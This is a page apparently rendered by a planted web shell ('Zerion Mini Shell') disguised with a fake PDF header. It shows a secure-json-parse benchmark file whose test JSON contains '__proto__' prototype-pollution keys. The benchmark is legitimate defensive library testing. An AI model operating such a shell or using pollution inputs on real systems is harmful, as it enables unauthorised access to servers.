%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home2/rezakur1/api.rezakurnia.com/zh-router/node_modules/secure-json-parse/benchmarks/
Upload File :
Create Path :
Current File : /home2/rezakur1/api.rezakurnia.com/zh-router/node_modules/secure-json-parse/benchmarks/valid.js

'use strict'

const { Bench } = require('tinybench')
const sjson = require('..')

const internals = {
  text: '{ "a": 5, "b": 6, "c": { "d": 0, "e": "text", "f": { "g": 2 } } }',
  proto: '{ "a": 5, "b": 6, "__proto__": { "x": 7 }, "c": { "d": 0, "e": "text", "__proto__": { "y": 8 }, "f": { "g": 2 } } }'
}

internals.reviver = function (key, value) {
  if (key === '__proto__') {
    return undefined
  }

  return value
}

const benchmark = new Bench({
  name: 'valid benchmark',
  iterations: 10000,
  warmupIterations: 100
})

benchmark
  .add('JSON.parse', () => {
    JSON.parse(internals.text)
  })
  .add('JSON.parse proto', () => {
    JSON.parse(internals.proto)
  })
  .add('secure-json-parse parse', () => {
    sjson.parse(internals.text)
  })
  .add('secure-json-parse parse proto', () => {
    sjson.parse(internals.text, { constructorAction: 'ignore', protoAction: 'ignore' })
  })
  .add('secure-json-parse safeParse', () => {
    sjson.safeParse(internals.text)
  })
  .add('secure-json-parse safeParse proto', () => {
    sjson.safeParse(internals.proto)
  })
  .add('JSON.parse reviver', () => {
    JSON.parse(internals.text, internals.reviver)
  })
  .run()
  .then(() => {
    console.log(benchmark.name)
    console.table(benchmark.table())
  })

Zerion Mini Shell 1.0